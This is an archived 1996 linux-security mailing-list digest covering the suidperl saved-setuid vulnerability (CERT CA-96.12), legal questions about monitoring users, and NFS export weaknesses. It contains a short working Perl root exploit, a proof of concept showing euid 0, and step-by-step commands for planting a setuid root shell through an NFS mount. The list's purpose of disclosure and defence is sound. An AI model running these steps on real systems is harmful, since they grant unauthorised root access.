does support saved set-user-IDs and set-group-IDs on DG/UX. Data General does not ship suidperl or sperl* with DG/UX. Hewlett-Packard Company ======================= HP/UX versions 8.X, 9.X, and 10.X all support saved set-user-id. None of HP/UX versions 8.X, 9.X, and 10.X have Perl as part of the standard product. IBM Corporation =============== AIX versions 3.2.5 and 4.X support saved set-user-id. AIX versions 3.2.5 and 4.X do not have Perl as part of the standard product. However, the SP2's PSSP software does contain suidperl, but the program is not installed with the setuid bit set. Linux ===== Linux 1.2 and 2.0 support saved set-user-id. Most distributions of Linux provide suidperl and sperl. The fixsperl script works on linux, and it is recommended that this fix be applied until a new Perl release is made. Open Software Foundation ======================== OSF/1 1.3 or later support saved set-user-id OSF/1 1.3 or later does not have Perl as part of the standard product. Sony Corporation ================ NEWS-OS 4.X does not support saved set-user-id and therefore any version of Perl on that system is not vulnerable. NEWS-OS 6.X does support saved set-user-id. X.org ===== None of X.org's development systems are vulnerable to the saved set-user-IDs and set-group-IDs problems, and suidperl is not shipped with either of our products. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMdE8tnVP+x0t4w7BAQF2eQQAlpH/zOBMFK3/TQ+TAbfAkkULJORsvPTs Hv2aJtInooObGNlT8NThg+7DBOUTcNQ7allPtNRzDE9xIDsn/ZGQZSUMtuSiVqI5 F9vgXZgDFNMknRW35ae6E9zJ3R/FJGIVxQyA6BB2YhbyvnaMrzKqE0nGDy1GZsPl mhGAXh3CZYw= =o+Jl -----END PGP SIGNATURE----- linux-security/linux-security.960627100664 1767 1767 7113 6164531211 16631 0ustar majdommajdomFrom [email protected] Thu Jun 27 10:23:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA24925; Thu, 27 Jun 1996 10:23:15 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) To: [email protected] (Jon Lewis) Date: Thu, 27 Jun 1996 10:50:24 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: from "Jon Lewis" at Jun 26, 96 04:10:24 pm Content-Type: text Content-Length: 454 Sender: [email protected] Precedence: list > Has anyone verified yet whether this is a problem on Linux boxes across > the world? Yes it is. And when you fix it watch that you get both sperl5.001 and suidperl > Linux > ===== > Linux 1.2 and 2.0 support saved set-user-id. > > Most distributions of Linux provide suidperl and sperl. > > The fixsperl script works on linux, and it is recommended that this > fix be applied until a new Perl release is made. > From [email protected] Thu Jun 27 12:10:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA25948; Thu, 27 Jun 1996 12:10:42 -0400 Message-Id: Date: Thu, 27 Jun 96 10:34 CDT From: Kevin Buhr To: [email protected] CC: [email protected], [email protected] In-reply-to: (message from Jon Lewis on Wed, 26 Jun 1996 16:10:24 -0400 (EDT)) Subject: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Reply-to: [email protected] Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- (If you follow up, remember to drop the "linux-alert@..." address!) | Has anyone verified yet whether this is a problem on Linux boxes across | the world? I've verified the Perl saved setuid bug (CERT Advisory CA-96.12) on a Debian Linux 1.2.8 box running Perl 5.001. Most other configurations would behave the same way. Witness: % id uid=6073(buhr) gid=6073(buhr) groups=6073(buhr) % ls -lg -rwxr-xr-x 1 buhr buhr 70 Jun 27 09:52 testvuln* % ./testvuln uid=6073(buhr) gid=6073(buhr) groups=6073(buhr) % chmod 2755 testvuln % ls -lg -rwxr-sr-x 1 buhr buhr 70 Jun 27 09:52 testvuln* % ./testvuln uid=6073(buhr) gid=6073(buhr) euid=0(root) groups=6073(buhr) Here, "testvuln" is a Perl script that sets its euid to 0, detaints its path, and runs "id". Somewhere in the middle of the 1.1.x kernel sequence, saved ids were made to work correctly. Hence, all recent kernels (including all of the 1.2.x, 1.3.x, and 2.0.x sequences) will "support" this vulnerability. Moreover, the standard Linux configuration for the Perl distribution compiles and installs this flawed setuid version, so most Linux distributions will have the vulnerability. THEREFORE, if you have a setuid root "suidperl" or "sperl" somewhere on your Linux box's filetree, assume you are vulnerable! Kevin -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4beta, an Emacs/PGP interface iQBVAwUBMdKp8YmVIQW1OgXhAQFikgH9EN5+1NiCzSBz+W0q7phvmZ91247YTxOo y0Hwjn2qG92yi9S2w+xCiRhpC1e4jWoVjFB4Oyv9/zo84/aytvrxyw== =SA5N -----END PGP SIGNATURE----- linux-security/linux-security.960628100664 1767 1767 24766 6165045057 16700 0ustar majdommajdomFrom [email protected] Fri Jun 28 11:49:03 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA00571; Fri, 28 Jun 1996 11:49:03 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Matt) Newsgroups: mail.linux.security Subject: Re: [linux-security] suspicious users Date: 25 Jun 1996 14:07:16 -0400 Organization: DataHaven Project +1 412 421 4516 (DHP.COM) Lines: 27 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list [Mod: Let's please let this thread die here; it's more politics and legalisms than security. --Jeff.] Suicide Object ([email protected]) wrote: : this is a bit off topic, more on this 'legal thing': yes. : Basically: my machine is my ass. If someone abuses my machine *I*'m the : one who is going to take the responsability. Same should go for any ISP: : if you let people party in your house, they should behave. If they start : doing weird stuff, you should be able to look into it. If you use this philosphy to deal with things, it will be your ass. You need to view ISP's as "common carriers". An ISP is not your house, it is a service, like the phone company. The phone company doesn't have the right to to listen to the phone calls that go through it's equipment. By keeping this law, they protect themselves when people abuse it. If you actively deal with "editting" users, then you are responsible for them. If you let users pay for the use of your tools, then they are responsible for themselves. (This has even made it into US court system when Prodigy was sued for allowing, slanderous, posts on their network. The judge stated that since Prodigy made an active attempt to censor things, then it was liable for things said, and if they had just allowed things through, then they wouldn't have been liable.) -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Fri Jun 28 11:49:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA00589; Fri, 28 Jun 1996 11:49:31 -0400 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: Angel Rat cc: [email protected] Subject: Re: [linux-security] A secure (?) nfs-server ? In-reply-to: Your message of "Tue, 25 Jun 1996 10:47:23 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 27 Jun 1996 20:39:00 -0500 From: Gerald Anderson Sender: [email protected] Precedence: list Just to add my $0.02 in on the secure NFS thread. It is indeed an oxymoron however, I though now might be a good time to point out the portmap 4 is out, it's supposed to be substantially more secure than previous versions. I run redhat and got the rpm off of sunsite. Gerald P.S. I disclaim that I REALLY think it's more secure. I just had to install it as part of an upgrade and I just looked at the first few lines of the README. ------------------------------------------------------------------------------ Gerald D. Anderson President Against stupidity the very gods VTE Network Services themselves contend in vain. Dallas, Texas USA --Asimov (AFAIK) (214)241-2921 [email protected] I support Free Speech on the Internet. http://www.vte.com/ http://www.eff.org/blueribbon.html ------------------------------------------------------------------------------ -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzAVuh0AAAEEAMmAp4uvdvZqj+ceY5gHefIln08r4sbc97EXTvVN7jttbkty jCN0z8iI0E8fjUwttT2IR19bZLbomlmrVIkqLyysdrVoOHPGzZ2IuWcIHu8oUxOL pc0QnQstLC9b6kqieYDnK6EZr+ttProB+sqemKP3Hok5JzTC5GK136+dn5+JAAUR tClHZXJhbGQgRC4gQW5kZXJzb24gPGdhbmRlckBjeWJlci52dGUuY29tPg== =DkKi -----END PGP PUBLIC KEY BLOCK----- From [email protected] Fri Jun 28 11:50:38 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA00607; Fri, 28 Jun 1996 11:50:38 -0400 From: [email protected] Date: Fri, 28 Jun 1996 04:12:19 -0400 (EDT) To: Suicide Object cc: Peter Orbaek , [email protected], [email protected] Subject: Re: [linux-security] suspicious users In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > Note: This system is for the use of authorized users only. > Individuals using this computer without authority, > or in excess of their authority, are subject to having > all of their activities on this system monitored and > recorded by system personnel. > > Tracing you is currently sponsored by Glock 17L (tm) Ummmm... admittedly I don't know nearly as much about Linux as most of the readers on this list, but I do know a bit about law. Stating that only those who use the computer without authority or beyond their authority doesn't really cut it. The reason is that it is necessary to look over the shoulder of those who "may" be abusing access in order to determine if they are indeed doing so. So, I'm afraid your disclaimer will have to be a bit more unsettling. If anyone is really interested in this, I'll devote a little time to write up something that may be a bit more bullet-proof. -Mark From [email protected] Fri Jun 28 15:16:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA02158; Fri, 28 Jun 1996 15:16:58 -0400 Message-ID: <[email protected]> From: Benjamin Ewy Subject: Re: [linux-security] suspicious users To: [email protected] Date: Fri, 28 Jun 1996 13:12:31 -0500 (CDT) In-Reply-To: from "[email protected]" at Jun 28, 96 04:12:19 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1449 Sender: [email protected] Precedence: list [Mod: quoting trimmed. --Jeff.] > So, I'm afraid your disclaimer will have to be a bit more unsettling. If > anyone is really interested in this, I'll devote a little time to write > up something that may be a bit more bullet-proof. > > -Mark > CERT advisory CA-92:19 has a disclaimer suggested by the Department of Justice for this purpose. -- Benjamin J. Ewy Design Engineer Telecommunications & Information Sciences Laboratory Center for Research Inc. 2291 Irving Hill Rd | [email protected] Lawrence, KS 66045-2228 | http://www.tisl.ukans.edu/~bewy (913) 864-3082 | FAX: (913) 864-7789 | Linux - The best things in life are free! From [email protected] Fri Jun 28 15:17:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA02177; Fri, 28 Jun 1996 15:17:17 -0400 Date: 28 Jun 1996 19:23:00 +0200 From: [email protected] (Kai Henningsen) To: [email protected] Message-ID: <[email protected]> In-Reply-To: Subject: Re: [linux-security] suspicious users X-Mailer: CrossPoint v3.1 R/C435 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Organization: Organisation? Me?! Are you kidding? X-No-Junk-Mail: I do not want to get *any* junk mail. Comment: Unsolicited commercial mail will incur an US$100 handling fee per received mail. Sender: [email protected] Precedence: list [email protected] (Suicide Object) wrote on 24.06.96 in : > this is a bit off topic, more on this 'legal thing': > > Basically: my machine is my ass. If someone abuses my machine *I*'m the > one who is going to take the responsability. Same should go for any ISP: > if you let people party in your house, they should behave. If they start > doing weird stuff, you should be able to look into it. Be warned, though, that in some nations, you won't have the right to do this - especially as an ISP, but in some cases also as an employer. In these nations, you might go to jail unless you have very good reasons - maybe even then. And the fine print in your contracts may not be enough to bail you out, either. Definitely ask a good lawyer first who understands your local privacy legislation. Snooping on your user just might be a risky thing. MfG Kai From [email protected] Fri Jun 28 17:10:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA02996; Fri, 28 Jun 1996 17:10:00 -0400 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] A secure (?) nfs-server ? To: [email protected] (Gerald Anderson) Date: Fri, 28 Jun 96 22:40:05 MET DST Cc: [email protected], [email protected] In-Reply-To: <[email protected]>; from "Gerald Anderson" at Jun 27, 96 8:39 pm Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list Gerald Anderson wrote: > > Just to add my $0.02 in on the secure NFS thread. It is indeed an oxymoron > however, I though now might be a good time to point out the portmap 4 is out, > it's supposed to be substantially more secure than previous versions. I run My portmap 4 is just portmap 3 with changes to keep up with evolution - it has support for the variable-length sockaddr structures as found in AIX 4.x and in 4.4 BSD. I agree, NFS in its default form offers hardly any resistance against malicious superusers. It's not so bad, though, in an environment that is shielded against NFS requests from malicious superusers :-) It all depends on who is in control. Wietse linux-security/linux-security.960629100664 1767 1767 13231 6165300271 16652 0ustar majdommajdomFrom [email protected] Sat Jun 29 15:13:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA01553; Sat, 29 Jun 1996 15:13:54 -0400 Date: Sat, 29 Jun 1996 02:24:49 -0400 (EDT) From: Jon Lewis X-Sender: [email protected] To: [email protected] cc: [email protected], [email protected] Subject: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 28 Jun 1996 [email protected] wrote: > > What is the exploit? Run this as a suid or sgid script. It doesn't matter what user or group it's suid/sgid to...it gets root access. #!/usr/bin/perl $ENV{PATH}="/bin:/usr/bin"; $>=0;$<=0; exec("/bin/bash"); Is it just me...or does it give people the willies knowing such an easy to exploit hole was on their systems...perhaps for years. ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.fdt.net | unsolicited huge files. ________Finger [email protected] for PGP public key_______ From [email protected] Sat Jun 29 15:15:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA01570; Sat, 29 Jun 1996 15:15:04 -0400 From: [email protected] X-Authentication-Warning: clark.net: aleipold owned process doing -bs Date: Fri, 28 Jun 1996 20:23:58 -0400 (EDT) To: Gerald Anderson cc: Angel Rat , [email protected] Subject: Re: [linux-security] A secure (?) nfs-server ? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I recently ran into a new hole regarding NFS. Insted of exploiting it, I figured I would tell you about it. I have run into a new security hole that is extremely powerful. This trick is not all that complicated. I really should have thought of it before. Some of you, I'm sure, with Linux boxes, may have noticed that at times when you run IRC you don't always get your account as your "whois". For example, let us say that you SLIP up and your account is [email protected], but your box name is: [email protected], sometimes your identd returns: [email protected]. This, I should have realized could be a seriously nice hack. However it turned out that your REAL inetd name was returned when telneting, mounting, etc. So how to break that? Slirp. Slirp redirects TCP ports from one to another. For example if you are [email protected] and you run slirp with the command "redir tcp 31337 to 23" when someone telnets to fruit.net 31337 it will connect them to your box. Now here is the catch. If you are [email protected], logged in as root on your box, the identd returns [email protected] -- bingo. However, for most BSD 4.3 compatible systems in.identd should be commented out in /etc/inetd.conf (On your system) Now let us say that on the fruit.net domain there are other servers that are often NFS mounted by fruit.net. So at boot up fruit.net mounts via NFS jonx.fruit.net. In this case that means that [email protected] can mount jonx.fruit.net READ/WRITE. Now here is the part that becomes a little complicated. There are several ways that you can set up your exports file. / (rw) [stupid] / (rw,insecure) [really stupid] / IPADDRESS(rw) [common way] / IPADDRESS(rw,root_squash) [secure way] Let us say that fruit.net's ip address is 192.144.12.2 Chances are jonx.fruit.net has it set up as: "/ 192.144.12.2(rw)". If so your in for fun. Here is how to go about. Get slirp compile it on your account on fruit.net then go to your system, login as root and type: mount jonx.fruit.net:/ /mnt/ It should mount. This is because when it checks who is attempting to NFS mount it, it looks up your name (root), and your ip which is, thanks to slirp, not your real SLIP ip, but 192.144.12.2 or whatever your host is. However, the reason that this works is because nfsd is inherently insecure. It assumes that only the trusted 'root' is mounting the remote file system. Also, it does not check to see that the mount request originates from a reserved port (<1023). Slirp usually binds to ports between 30000-60000 for TCP/UDP connections. Now you can access the shadow file(usefull for cracking). This nfs mount can be used to create a root-suid shell. All you need to do is create a suid shell (bash). Simply run : "cp /mnt/bin/bash /mnt/rootacct" (or wherever bash is) then from your box do: "chown root.root /mnt/rootacct" then "chmod 4755 /mnt/rootacct" Congrats, you now have a setuid shell that when run by a normal user gives you euid(0). Slirp can be used as a hack to use a Unix workstation/server to impersonate a trusted host and well as it's resources. A protection against this would simply to require all important network connections for UDP and TCP to orginate from a priviliged port. That would mean that root on the real system would have to run the service. Since only root can bind to ports below 1023. Well you get the idea of flaws with Slirp combined with ident. --Later fooz. Mknod (Sphear Inc.) Signal (Eraser Tech.) linux-security/linux-security.960701100664 1767 1767 41763 6166010575 16662 0ustar majdommajdomFrom [email protected] Mon Jul 1 13:31:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA09988; Mon, 1 Jul 1996 13:31:26 -0400 From: [email protected] (Wietse Venema) Message-Id: <[email protected]> Subject: Re: [linux-security] A secure (?) nfs-server ? To: [email protected] Date: Sat, 29 Jun 96 22:28:53 MET DST Cc: [email protected], [email protected], [email protected] In-Reply-To: ; from "[email protected]" at Jun 28, 96 8:23 pm Organization: Eindhoven University of Technology, P.O. Box 513, 5600 MB Eindhoven, The Netherlands X-Phone: +31 40 2472989 X-Fax: +31 40 2465995 X-Private: +31 40 2433327 X-Mailer: ELM [version 2.3 PL11] Sender: [email protected] Precedence: list > Also, it does not check to see that the mount request originates from a > reserved port (<1023). Slirp usually binds to ports between 30000-60000 for > TCP/UDP connections. When the server allows unprivileged NFS requests, any user-level NFS client program is sufficient to grab the server's file systems. There is no need to run a SLIRP connection for that. Wietse From [email protected] Mon Jul 1 13:45:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA10099; Mon, 1 Jul 1996 13:45:28 -0400 Date: Sat, 29 Jun 1996 17:45:43 -0500 (CDT) From: Jeff Barrow X-Sender: [email protected] To: [email protected] cc: Gerald Anderson , Angel Rat , [email protected] Subject: Re: [linux-security] A secure (?) nfs-server ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 28 Jun 1996 [email protected] wrote: > I recently ran into a new hole regarding NFS. > Insted of exploiting it, I figured I would tell you about it. Apparently, you should have tried it first.... > > I have run into a new security hole that is extremely powerful. This > trick is not all that complicated. I really should have thought of it > before. Some of you, I'm sure, with Linux boxes, may have noticed that at > times when you run IRC you don't always get your account as your "whois". > For example, let us say that you SLIP up and your account is [email protected], > but your box name is: [email protected], sometimes your identd returns: > [email protected]. This, I should have realized could be a seriously nice NOTE: Identd will return root. The IRC server does a reverse-ip lookup to find out what your IP address is. So it would return something like [email protected] > hack. However it turned out that your REAL inetd name was returned when > telneting, mounting, etc. So how to break that? Slirp. Slirp redirects Won't work. 1) Slirp binds port on the real fruit.net. When fruit.net's identd is asked who owns the port, it finds YOUR userid, NOT root. Slirp does not redirect identd queries. If you find a system who's identd asks slirp who owns a port, please do tell! Because that would be a site that's already been hacked. --Jeff Barrow From [email protected] Mon Jul 1 13:45:56 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA10119; Mon, 1 Jul 1996 13:45:56 -0400 Message-Id: From: [email protected] (Grant Kaufmann) Subject: [linux-security] Re: A secure (?) nfs-server ? To: [email protected] Date: Sun, 30 Jun 1996 00:48:31 +0200 (SAT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 522 Sender: [email protected] Precedence: list > I recently ran into a new hole regarding NFS. > Insted of exploiting it, I figured I would tell you about it. [stuff deleted] This doesn't seem particularly interesting. NFS mount requests from unprivileged ports have been disallowed on all our sites as it is simple to emulate the RPC calls which NFS uses from a user-level account without the use of slirp. A more interesting question is whether this NFS mount attack could be performed by a spoofing host. Anyone know if this has been accomplished? -- Grant -- From [email protected] Mon Jul 1 13:48:46 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA10156; Mon, 1 Jul 1996 13:48:46 -0400 Date: Sun, 30 Jun 1996 06:03:53 -0400 (EDT) From: Brian Mitchell X-Sender: brian@tcpip To: [email protected] cc: Gerald Anderson , Angel Rat , [email protected] Subject: Re: [linux-security] A secure (?) nfs-server ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 28 Jun 1996 [email protected] wrote: > I recently ran into a new hole regarding NFS. > Insted of exploiting it, I figured I would tell you about it. > > > I have run into a new security hole that is extremely powerful. This > trick is not all that complicated. I really should have thought of it > before. Some of you, I'm sure, with Linux boxes, may have noticed that at > times when you run IRC you don't always get your account as your "whois". > For example, let us say that you SLIP up and your account is [email protected], > but your box name is: [email protected], sometimes your identd returns: > [email protected]. This, I should have realized could be a seriously nice > hack. However it turned out that your REAL inetd name was returned when it should always retern john, when it returns root it obviously is not doing a ident check, and you probably have a ~ next to your username. There is no way for you to forward 113 on the shell machine to 113 on your machine without having root on the shell machine. > telneting, mounting, etc. So how to break that? Slirp. Slirp redirects > TCP ports from one to another. For example if you are [email protected] and > you run slirp with the command "redir tcp 31337 to 23" when someone > telnets to fruit.net 31337 it will connect them to your box. Now here is > the catch. If you are [email protected], logged in as root on your box, the > identd returns [email protected] -- bingo. However, for most BSD 4.3 compatible > systems in.identd should be commented out in /etc/inetd.conf (On your system) But on Linux, this is not so. identd is included and enabled in most distribution, not that it has anything whatsoever to do with nfs. > > > Now let us say that on the fruit.net domain there are other servers > that are often NFS mounted by fruit.net. So at boot up fruit.net mounts via NFS > jonx.fruit.net. In this case that means that [email protected] can mount > jonx.fruit.net READ/WRITE. Now here is the part that becomes a little > complicated. There are several ways that you can set up your exports file. > > / (rw) [stupid] > / (rw,insecure) [really stupid] > / IPADDRESS(rw) [common way] > / IPADDRESS(rw,root_squash) [secure way] No, not running nfs at all is the secure way. > > Let us say that fruit.net's ip address is 192.144.12.2 Chances are > jonx.fruit.net has it set up as: "/ 192.144.12.2(rw)". If so your in for > fun. Here is how to go about. Get slirp compile it on your account on > fruit.net then go to your system, login as root and type: > mount jonx.fruit.net:/ /mnt/ > > It should mount. This is because when it checks who is attempting to NFS > mount it, it looks up your name (root), and your ip which is, thanks to > slirp, not your real SLIP ip, but 192.144.12.2 or whatever your host is. > However, the reason that this works is because nfsd is inherently insecure. > It assumes that only the trusted 'root' is mounting the remote file system. > Also, it does not check to see that the mount request originates from a > reserved port (<1023). Slirp usually binds to ports between 30000-60000 for > TCP/UDP connections. It will work, but you are confused about identd. Identd does not look up udp connections - indeed, it could not; UDP does not have connections. It is a connectionless protocol. In nfs, you tell the server what uid you are (sure, you can trust me mr server, I really am root - honest!), which in and of itself is the main problem. [description of 2 ways this can be abused clipped] > Slirp can be used as a hack to use a Unix workstation/server to impersonate > a trusted host and well as it's resources. Indeed, but it is not necessary to use slirp to do any of this. > > A protection against this would simply to require all important network > connections for UDP and TCP to orginate from a priviliged port. That would > mean that root on the real system would have to run the service. Since only > root can bind to ports below 1023. I'm no NFS expert, but I was under the impression that this is done by many nfs daemons already. Perhaps not... rsh and rlogin both require connections to originate from a privledged port (as well they should, otherwise host based authentication would be even less secure than it is already [is this possible?]). > > Well you get the idea of flaws with Slirp combined with ident. No, you get the idea of NFS flaws. The exact same thing could be done right from the shell account by issuing mount requests (there is code for sunos floating around that does this very thing). Again, this has absolutely nothing to do with identd. Brian Mitchell [email protected] Unix Security / Perl / WWW / CGI http://www.saturn.net/~brian "I never give them hell. I just tell the truth and they think it's hell" - H. Truman From [email protected] Mon Jul 1 13:50:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA10180; Mon, 1 Jul 1996 13:50:04 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] A secure (?) nfs-server ? To: [email protected] Date: Sun, 30 Jun 1996 15:02:29 +0200 (MET DST) From: [email protected] (Rogier Wolff) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1489 Sender: [email protected] Precedence: list > I recently ran into a new hole regarding NFS. > Insted of exploiting it, I figured I would tell you about it. New to you, that is. > Slirp can be used as a hack to use a Unix workstation/server to impersonate > a trusted host and well as it's resources. > > A protection against this would simply to require all important network > connections for UDP and TCP to orginate from a priviliged port. That would > mean that root on the real system would have to run the service. Since only > root can bind to ports below 1023. There is a lot of ramble in the original which I didn't want to quote. Some corrections on the original: -- NFS usually doesn't use identd to check your identity. -- modern NFS implementations DO check for ports < 1024. The problem is that you found an ancient host that doens't check for NFS requests to come from a priviliged port. This is an old problem. For example Satan checks for this, and recommends that you disable NFS exports on those machines until you've got a fix. You might have found a tool to do the "breakin" more easily. In the old days you'd have to write a program that emulates "mount" (get the mount sources, remove the bind to the lower port address....). Then you'd have to feed the "NFS handle" to your kernel (any machine will do: once you've got the handle, you've been authenticated....), or write a simple program that issues the nfs calls for chown root some_copied_shell chmod 4755 some_copied_shell Roger. From [email protected] Mon Jul 1 13:57:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA10276; Mon, 1 Jul 1996 13:57:13 -0400 Message-Id: Date: Mon, 1 Jul 1996 06:45:22 +0200 From: [email protected] (Felix von Leitner) To: [email protected] Cc: [email protected] (Gerald Anderson), [email protected] (Angel Rat), [email protected] Subject: Re: [linux-security] A secure (?) nfs-server ? In-Reply-To: ; from [email protected] on Jun 28, 1996 20:23:58 -0400 References: X-Mailer: Mutt 0.33 Mime-Version: 1.0 X-Dogma: Barney must die, all else is irrelevant Sender: [email protected] Precedence: list > I have run into a new security hole that is extremely powerful. This > trick is not all that complicated. I really should have thought of it > before. Some of you, I'm sure, with Linux boxes, may have noticed that at > times when you run IRC you don't always get your account as your "whois". > For example, let us say that you SLIP up and your account is [email protected], > but your box name is: [email protected], sometimes your identd returns: > [email protected]. This, I should have realized could be a seriously nice > hack. However it turned out that your REAL inetd name was returned when > telneting, mounting, etc. So how to break that? Slirp. Slirp redirects > TCP ports from one to another. For example if you are [email protected] and > you run slirp with the command "redir tcp 31337 to 23" when someone > telnets to fruit.net 31337 it will connect them to your box. Now here is > the catch. If you are [email protected], logged in as root on your box, the > identd returns [email protected] -- bingo. However, for most BSD 4.3 compatible > systems in.identd should be commented out in /etc/inetd.conf (On your system) 1. slirp is not suid-root, so slirp can not bind to the ident port (113). 2. Even if it tried, it would not get permission to do so since inetd is already listening on port 113 if IDENT is enabled. 3. IDENT does not return domains or machine names, it just returns the user name. 4. Neither the portmapper, nor the mountd, nor the nfsd ask the IDENT service. 5. Only your machine name or IP address determine whether your machine gets permission to mount something from the NFS server. 6. Your local machine will only let you mount something if you are root. > It should mount. This is because when it checks who is attempting to NFS > mount it, it looks up your name (root), No it does not. Your local machine will not let you mount something when you are not root. > and your ip which is, thanks to slirp, not your real SLIP ip, but > 192.144.12.2 or whatever your host is. I don't know slirp very well. But if it allows arbitrary port redirections, you could use it to forward your mount and NFS requests so that they appear to come from a host in the trusted network. This would in fact be very bad to allow, so you can configure NFS servers to allow only mount connections from ports <1024. > Now you can access the shadow file(usefull for cracking). He who NFS-exports the shadow file will have many visitors from all over the world. > This nfs mount can be used to create a root-suid shell. He who NFS-exports *anything* without root->nobody mapping will get many visitors, too. > All you need to do is create a suid shell (bash). > Simply run : "cp /mnt/bin/bash /mnt/rootacct" (or wherever bash is) > then from your box do: "chown root.root /mnt/rootacct" > then "chmod 4755 /mnt/rootacct" > Congrats, you now have a setuid shell that when run by a normal user > gives you euid(0). *plonk* Rather than explaining details of trivial things, you should look up details on the not-so-trivial things. You are right when you claim that NFS has flaws. But what you cite here is not a new security hole. Please, go ahead and use your "new" knowledge. > Slirp can be used as a hack to use a Unix workstation/server to impersonate > a trusted host and well as it's resources. Not just slirp, any program that lets you forward packets. Term and ssh come to mind. Because it's so easy, every admin with an IQ of more than one digit restricts NFS access to privileged ports. > Well you get the idea of flaws with Slirp combined with ident. This has nothing to do with ident. Go LART yourself, man. > --Later fooz. > Mknod (Sphear Inc.) Signal (Eraser Tech.) Wow, how lucky we can be that we have such an EL1T3 WaR3Z D00D amongst us ;) Felix [Mod: I'd like to request that everyone please refrain from making negative "personal" comments in messages CC'd to linux-security/alert. Let's be professional here. Thanks. --Jeff.] linux-security/linux-security.960702100664 1767 1767 3025 6166231444 16630 0ustar majdommajdomFrom [email protected] Tue Jul 2 10:33:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA18857; Tue, 2 Jul 1996 10:33:07 -0400 Date: Tue, 2 Jul 1996 05:17:08 -0400 (EDT) From: Brian Mitchell X-Sender: brian@tcpip To: Grant Kaufmann cc: [email protected] Subject: Re: [linux-security] Re: A secure (?) nfs-server ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 30 Jun 1996, Grant Kaufmann wrote: > > I recently ran into a new hole regarding NFS. > > Insted of exploiting it, I figured I would tell you about it. > [stuff deleted] > > This doesn't seem particularly interesting. NFS mount requests > from unprivileged ports have been disallowed on all our sites as it > is simple to emulate the RPC calls which NFS uses from a user-level > account without the use of slirp. > A more interesting question is whether this NFS mount attack > could be performed by a spoofing host. Anyone know if this has > been accomplished? It probably could, but if you can't get the file handles back, what good does it do you? 